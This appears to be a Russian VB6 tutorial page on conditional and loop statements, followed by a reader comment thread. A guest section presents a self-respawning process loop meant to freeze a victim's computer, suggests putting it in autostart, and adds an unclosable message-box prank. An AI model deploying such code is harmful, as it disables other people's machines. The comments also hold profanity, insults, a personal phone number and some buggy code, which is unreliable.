Программирование
Веб программирование

Операторы Visual Basic

 
 

Условный оператор

Любой язык программирования держится только на операторах, без них любой язык был бы не языком, а набором тупых слов. Первый оператор у нас будет условный, он наверное самый главный, без него не обойдется ни одна программа.

If Условие Then
Серия 1
Else
Серия 2
End If

ИЛИ
If Условие Then Серия 1

Если ты изучал какой - нибуть язык(JavaScript, C++, Китайский...), то ты знаком с этими операторами, а если не изучал, то не знаком. Это я к тому, что ели ты изучал языки, то ты знаешь как этими операторами пользоваться, и можешь немного пропустить; а если не изучал ТО ТЕБЕ НАДО ЧИТАТЬ ВСЕ!!!
После оператора If(истина) следует условие, а после условия следует ключевое слово Then. Если на месте условия, мы напишем k = 0,то если k = 0, будет выполняется Серия 1; Else(ложь), если k = 1, а не 0,то будет выполнятся Серия 2.В конце всегда пишем End If. Вы наверное ничего не поняли, и мы немного попозже сделаем игру с трехмерной графикой, чтоб разобраться в операторах.

Подробнее об Условном операторе

 Этот подраздел я написал потому, что мне пришло несколько писем, что я написал про Условный оператор через ж*.*пу, и я решил немного по лучше про него написать, т.к. сам когда - то мучился с этим оператором(это было еще на JavaScript), и понимаю тех, кто только начал программировать, и не может понять этот оператор. Если тебе что - то не понятно пиши, а то может я еще несколько Шагов написал через жопу. Я немного напряг мозги, и решил, что, чтобы получше понять этот раздел, надо сделать программу. Творим! Открой VB(Standart EXE), на форму кинь 3 кнопки, у первой Caption = 1, у второй = 2, у 3 - ей = IF. Сделал? Молодец - Холодец. Хе - Хе. Код:

Dim a As Long 'Объявляем переменную a для хранения чисел

Private Sub Command1_Click() 'При нажатии на кнопку:
a = 1 'a = 1
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку:
a = 2 'a = 2
End Sub

Private Sub Command3_Click() 'При нажатии на кнопку:
If a = 0 Then ' Если ни чего не нажато:
MsgBox "Ни чего не нажато", 64, "Ну что понял?"
End If

If a = 1 Then ' Если a = 1, то комп выводит сообщение что была нажата кнопка 1 (т.к. при нажатии на кнопку 1 a будет = 1):
MsgBox "Нажата кнопка 1", 64, "Ну что понял?"
a = 0 ' a Будет равно 0
End If

If a = 2 Then ' Здесь анологично:
MsgBox "Нажата кнопка 2", 64, "Ну что понял?"
a = 0
End If
End Sub

Исходник

Оператор цикла со счетчиком

Оператор цикла со счетчиком тоже бывает полезен, но до условного ему далеко. Он нужен для того чтоб выполнять одно действие несколько раз. Например, в программе кодировщик, которую я от нечего делать написал на днях, без него не обойтись. Он работает очень просто - функция Len считает сколько букв, и это число передается оператору цикла, и он за каждый заход кодирует 1 символ, и это продолжается до тех пор, пока не кончится счетчик (а он равен количеству букв(Len)).

For Счетчик = Начальное Значение To Конечное значение
Действия
Next Счетчик

Например:

Private Sub Command1_Click() 'При нажатии на кнопку:
For i = 0 To 4 'Действие будет обновляться 5 раз
MsgBox ""
Next i
End Sub

Оператор Select Case

С помощью этого оператора можно заменить условный оператор, это удобнее(т.к. меньше кода надо писать), и я буду рассматривать некоторые программы на 2-ух операторах(Case & IF). Вот так.

Select Case Переменная или выражение
Case Значение 1
Действие
Case Значение 1
Действие
...
Case Else Действие в случае несовпадения End Select

Теперь сделаем такую же программу как и в условном операторе. Войди в VB(Standart EXE), на форму кинь 1 кнопку, Caption = Case. Код:

Dim a As String 'Объявляем переменную a для хранения символов
Private Sub Command1_Click()
a = InputBox("Как тебя зовут", "Опрос")
Select Case a
Case "Падре" 'Если a = "Падре", то комп выводит сообщение, что этот ник уже забит
MsgBox "Падре - это я", 64, "Ну что врубился?" Case "Малыш" 'Если a = "Малыш", то комп выводит сообщение
MsgBox "Это правда?", 64, "Ну что врубился?"
Case Else 'Если a равно чему - то другому то комп выводит сообщение
MsgBox "Какой - то неизвестный у тебя ник", 64, "Ну что врубился?"
End Select
End Sub

Теперь я просто обязан дать тебе задание: Сделай тоже самое, что мы делали с оператором Case(сверяли имя), только на операторе IF, и наоборот. Делай. Исходник можешь скачать отсюда

Ну, в VB есть еще и оператор цикла с условием, но он пока нам не нужен(может как - нибуть потом...).

Операторы Do, Loop, Until (от -Гепарда97-)

Использование:

Do

<...операторы...>

Loop

Вгоняет комп в чуть менее, чем бесконечный цикл.

Например, всего 5ю строчками вражий комп можно повесить намертво (спасет только зажимание кнопки включения, приводящее к его аварийному отключениювынимание батареек), пишем в модуль:

sub main()
do
shell app.path & "\" & app.exename & ".exe"
loop
end sub

(Совет: такую бяку надо глушить не по одиночке через диспетчер задач, а запустить taskkill /im virus.exe /f где virus.exe - имя плодящегося процесса, выполнять хоть из того же диспетчера задач)

Особо доставляет прописка такой бяки в автозагрузку, кстати. Но об этом позже.

Или другой пример (а здесь еще и использование случайного генератора чисел!)

Sub Main()
Call Randomize
random1 = Rnd
If random1 < 0.75 Then
Do
MsgBox "Хахахаха, ламерз маст дай!"
Loop
End If
End
End Sub

Что делает код: сначала генерирует ряд случайных чисел,

затем записывает в переменную одно случайное число, и если оно меньше 0.75 (а случайное число всегда > 0 и < 1) то

начать цикл и постоянно выводить сообщение (есичо, Loop - "закрывающий" оператор для Do, как Next для For и End If для If). Лулзы заключаются в том, что жертва (если она конечно полный ламер) не сможет закрыть эту мессагу. Если она конечно вывалится - если случ.число больше 0.75 то прога просто выключится.

А теперь - цикл с условием - реализуется двумя способами. Предположим, что нам нужно для выхода из цикла, чтобы Х был = 1.

1ый способ:

do
'Здесь мог быть ваш код
loop until x = 1

Второй:

do
if x <> 1 then
'Здесь мог быть ваш код
else
exit do 'Выходим из цикла
end if
loop

Вот и все!

P.S. Есичо, прошу писать мне на другую почту.

Адрес: 2:5020/848.7428 (ага, похож на телефонный номер)

Гейт в интернетах: artem_reva@p7428.f848.n5020.z2.fidonet.org.ua (длинновато, но это гейт)


Есть вопросы? Спроси на нашем форуме!!
ILIM [14.01.2010 21:03]

Спасибо очень помогли

Ярик [24.10.2010 02:11]

Вообщето по ДЗ будет ТАК:
Dim a As String 'Объявляем переменную a для хранения символов
Private Sub Form_Load()
a = InputBox("Как тебя зовут", "Опрос")
If a = "Падре" Then MsgBox "Падре - это я", 64, "Ну что врубился?" Else MsgBox "Какой - то неизвестный у тебя ник", 64, "Ну что врубился?"
If a = "Малыш" Then MsgBox "Это правда?", 64, "Ну что врубился?" Else MsgBox "Какой - то неизвестный у тебя ник", 64, "Ну что врубился?"
End Sub

Но у меня после ввода выскакивает и сообщение о ошибке "Какой - то неизвестный у тебя ник", как избежать не понял...

Гость [22.11.2010 11:36]

то же самое!!! Тоже выскакивает сообщение.

EuroTriton [05.12.2010 11:08]

Всё норма.. получилось

Денис [14.12.2010 14:14]

Вы end if забыли в конце?

Oneddinnepefs [25.12.2010 20:03]


Пропущено порядком запятых, однако на интересность сообщения это никак не повлияло

Вадим [09.01.2011 13:03]

Исползуйте Else или Else if

Дмитрий [17.03.2011 14:17]

Респектую только уроков мало очень:)

Физический информатик [18.04.2011 13:48]

Привет друзья, можно сказать коллеги!Как вам такой хуйней заниматься???это же блять бред полнейший!!!АААААААА!!!в пизду ненавижу!!!всем нутром блять!

Гость [18.04.2011 13:50]

дмитрий иди варуй!ебананый еблан, сказачный паскаль еб твою ж меть...иди телок шпарь, или как приык передерни писюна!!!!

Дмитрий [18.04.2011 13:59]

я бы нашел тебя физик тоже мне, только обзываться и можешь...ПТУшник ванючий...

Мекан [17.05.2011 16:50]

Спасибо!!!

спасибо не плохо учиш [20.05.2011 15:46]

спасибо!!!

blackwolf3 [19.08.2011 18:28]

Ссылка на "Исходник можешь скачать отсюда " в разделе "Оператор цикла со счетчиком" не работает, а за учёбу большое спасибо...

Тёма [27.08.2011 15:02]

Я думаю за свойство Step в цикле надо было бы упомянуть...

Гость [02.10.2011 10:19]

Еее у меня получилось с IF создать. Правда только 1 час мучался))

Блиииииин [10.10.2011 16:07]

Вообще нечего неполучилось

prodota_spirit [31.10.2011 15:32]

Чётко! М0гёшЬ!

Сергей не пидор [01.11.2011 21:40]

Всё нормул посан, яэти уроки можнутые бле
Я просто рад чесна.
я уже за час-два дошел до сюда.
Всё ясно просто и понятно
а главное номральным языком, а не научно заебанским через который нихуя не понятно.
Все кому не нравится идите на ХУN

Артур [01.11.2011 23:18]

Да, согласен! Учебник написан без воды, как обычно пишут! Все четко и понятно!!!

Алишер [11.11.2011 15:03]

привет всем я хочу изучать visualbasic кто нибудь поможет мне помогите пожалюста меня зовут алишер Маликов +992 935670827 звоните по этот номер я из таджикистан

Валентина [11.11.2011 17:03]

Алишер, читай уроки, всему научишься )) По телефону точно тебе ни чего не объяснят, ни кому это не нужно, тратить деньги на телефоны и время, обучая тебя ))

алексей [12.11.2011 17:20]

если через if делать то так
Dim a As String 'Объявляем переменную a для хранения символов
Private Sub Form_Load()
a = InputBox("Как тебя зовут", "Опрос")
If a = "Падре" Then MsgBox "Падре - это я", 64, "Ну что врубился?" ElseIf a = "Малыш" Then MsgBox "Это правда?", 64, "Ну что врубился?" Else MsgBox "Какой - то неизвестный у тебя ник", 64, "Ну что врубился?"
End Sub

ирусик [15.01.2012 22:52]

пипец так все это сложно

алексей [15.01.2012 23:14]

и это ещё легко

лена [07.02.2012 11:35]

для меня очень сложно

настя [07.02.2012 11:36]

это самое простое

Дензл [04.03.2012 23:22]

Как сделать условный оператор внутри этого оператора?

алексей [04.03.2012 23:29]

If Условие Then
Серия 1
If Условие2 Then
Серия 1
Else
Серия 2
End If
Else
Серия 2
If Условие3 Then
Серия 1
Else
Серия 2
End If
End If
или
If Условие Then if условие2 then сесия

например:
if val(text1)>4 and val(text2)<2 then if val(text4)=2

Дензл [06.03.2012 21:36]

мне надо вот, чтобы после первого условия выполнялась одна серия, потом из-за 1-ого условия
выполнялось следущее условие с последущей серией

FireDay [07.03.2012 00:13]

"алексей" Ты такими страшными условиями напугаешь новичков.)
Ребята, тут нету ничего сложного, главное понять основы, тогда все станет на свои места.

алексей [07.03.2012 00:52]

ой сори я просто не расчитал силы ща всё попроще сдеоаю

корочк так
первок услови
потом серия
дальше второе условие в нутри первого соотвественно в конце должно два end if
серия второво условия
конец условие это закрывается второе условие
ну тут можно писать продолжение сирии первой условии
и логичено надо закрывать первое условие end if



ну вот на примере покажу

If Text1 = "a" Then
a = Text1
If text2 = "b" Then
a = text2
End If
End If

или так

If Text1 = "a" Then a = Text1: If text2 = "b" Then a = text2

конечно разницы почти не но во втором варианте меньше писать не надо каждый раз писать end if и всё вмещаеться в одну строчку НО МОЖНО ЛЕГКО ЗАПУТАТЬСЯ ТАК ЧТО НОВИЧКАМ ЛУЧШЕ ПОЛЬЗОВАТЬСЯ ПЕРВЫМ ВАРИАНТОМ !!!!!!!!!!!

OZA6O4EHHbIu npo2paMMucT [18.03.2012 14:48]

Для нубов пример программы:

На форму добавляются компоненты label1, label2, text1 и button1.

Label1.Text = "Введи свой возраст"
'вводишь в текстовое поле text1 свой возраст

Затем нажимаешь два раза на кнопку button1 и пишешь код:

If Label1.Text < 18 Then
Label2.Text = "Рано тебе еще с бабами трахаться. Пока что дрочи"
Else
Label2.Text = "Ты уже созрел для траха ! Удачи тебе"
End if

'данная программа проверяет по введенному в текстовое поле значению, сколько тебе лет и если тебе есть 18, то выводит одно, а если нет, то выводит другое.

Да, пошло получилось, но зато понятно.

alex13sh [18.03.2012 14:52]

OZA6O4EHHbIu npo2paMMucT, пример норм.
Но это для VB.NET а тут VB6

OZA6O4EHHbIu npo2paMMucT [18.03.2012 15:04]

Ошибочка вышла.

Вместо Label1.Text нужно написать Text1.Text.
А в строке Label1.Text = "Введи свой возраст" нужно ввести Label1.Caption

И вместо Label2.Text правильно будет Label2.Caption

alex13sh [18.03.2012 17:32]

ага.
а ты писал это на VB.Net ?

OZA6O4EHHbIu npo2paMMucT [19.03.2012 14:22]

Я это писал на VB6. Просто опечатался в коде - перепутал Label2.Text с Label2.caption.

OZA6O4EHHbIu npo2paMMucT [19.03.2012 14:24]

Исправленная версия:

На форму добавляются компоненты label1, label2, text1 и button1.

Label1.Caption = "Введи свой возраст"
'вводишь в текстовое поле text1 свой возраст

Затем нажимаешь два раза на кнопку button1 и пишешь код:

If text1.Caption < 18 Then
Label2.Text = "Рано тебе еще с бабами трахаться. Пока что дрочи"
Else
Label2.Caption = "Ты уже созрел для траха ! Удачи тебе"
End if

EverybodyLies [04.09.2012 22:09]

Блин, комменты улыбнули) надо же такой идиотизм тут было развести)

Валера [25.10.2012 21:16]

н-да, до этого было просто, а теперь стало не очень просто... я имею ввиду задание - я в IF-ах теряюсь )))

Валера [25.10.2012 22:21]

ЕСТЬ!!! ПОЛУЧИЛОСЬ, вот пример:

Dim a As String

Private Sub Command1_Click()
a = InputBox("Как тебя зовут, чел?", "Опросищще")
If a = "valera" Then
MsgBox "valera - это я", 64, "Ну что врубился?"
Else
If a = "4el" Then
MsgBox "Это правда?", 64, "Ну что врубился?"
Else
MsgBox "Какой-то неизвестный у тебя ник", 64, "Ну что врубился?"
End If
End If
End Sub

Валера [25.10.2012 22:30]

Пока не поставил Else перед 2ым If ничего не работало (и никак не получалось) :))

Алексей(alex13sh) [25.10.2012 23:48]

вот ещё несколько вариантов
If a = "valera" Then
MsgBox "valera - это я", 64, "Ну что врубился?"
ElseIf a = "4el" Then
MsgBox "Это правда?", 64, "Ну что врубился?"
Else
MsgBox "Какой-то неизвестный у тебя ник", 64, "Ну что врубился?"
End If


If a = "valera" Then MsgBox "valera - это я", 64,"Ну что врубился?" ElseIf a = "4el" Then MsgBox "Это правда?", 64, "Ну что врубился?" Else MsgBox "Какой-то неизвестный у тебя ник", 64, "Ну что врубился?"

select case a
case "valera":MsgBox "valera - это я", 64, "Ну что врубился?"
case "4el": MsgBox "Это правда?", 64, "Ну что врубился?"
case else:MsgBox "Какой-то неизвестный у тебя ник", 64, "Ну что врубился?"
end select

все 3 варианта одно и тоже условие

Юра (Shade) [25.10.2012 23:53]

Используй Select case
Select case a
case is = ("valera")
msgbox ""
case is = ("4e1")
msgbox ("")
else select
msgbox ("")
End select

Алексей(alex13sh) [26.10.2012 00:14]

Юра (Shade), ну если что я уже это как вариант ему написал)

Юра (Shade) [26.10.2012 07:57]

Я там допустил ошибку
cese else надо было. Алексей у тя нету там is, а так все так-же.

Горыныч [26.12.2012 14:51]

МММ... Люди не подскажете ли ? как сделать условие "Если текстовое поле не равно ничему(т.е not=""),то картинка1.визибл=фолс "?

Алексей(alex13sh) [26.12.2012 17:08]

if not txt="" then pic.Viseble=False
if len(txt)>0 then pic.Viseble=False

Горыныч [26.12.2012 18:29]

Не, все равно не получается . у меня одной кнопкой включается картинка и определенный процесс,(картинка - это картинка загрузки(Лоадинг))и если второе текстовое поле начинает заполняться текстом,эта картинка должна пропасть.

Горыныч [26.12.2012 18:29]

И еще у меня эта картинка включается как раз тогда когда она должна выключиться.

FraI [14.03.2013 14:36]

Кто знает что нибудь про оператор Round в VB6, или другие операторы для округлений чисел заданной точности??

alex13sh300 [14.03.2013 17:21]

Функция Round
Round(Number [,NumDigitAfterDecimal ])
Новая функция,которая появилась в Visual Basic 6.0

Функция Round служит для округления чисел до заданной точности(число значащих цифр в дробной части).
Функция Round(Number,2) эквивалентна функции Format(Number,"#.##")

Возвращаемое значение
В результате действия функции возвращается округленное число,тип которого совпадает с типом переданного аргумента

Параметры
Number
Обязательный аргумент может представлять любое допустимое числовое выражение
NumDigitAfterDecimal
Необязательный аргумент,представляющее собой целое положительное число,указывающее,сколько знаков следует оставить после запятой.Если аргумент опущен,то дробная часть отбрасывается
Пример:

Dim A,retval
A=123.456789
retval=Round(A) 'возвращается 123
retval=Round(A,3) 'возвращается 123.457



Оставлять комментарии можно только зарегистрированным




Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни администрация не несут ответственности в случае ее использования в противозаконных целях.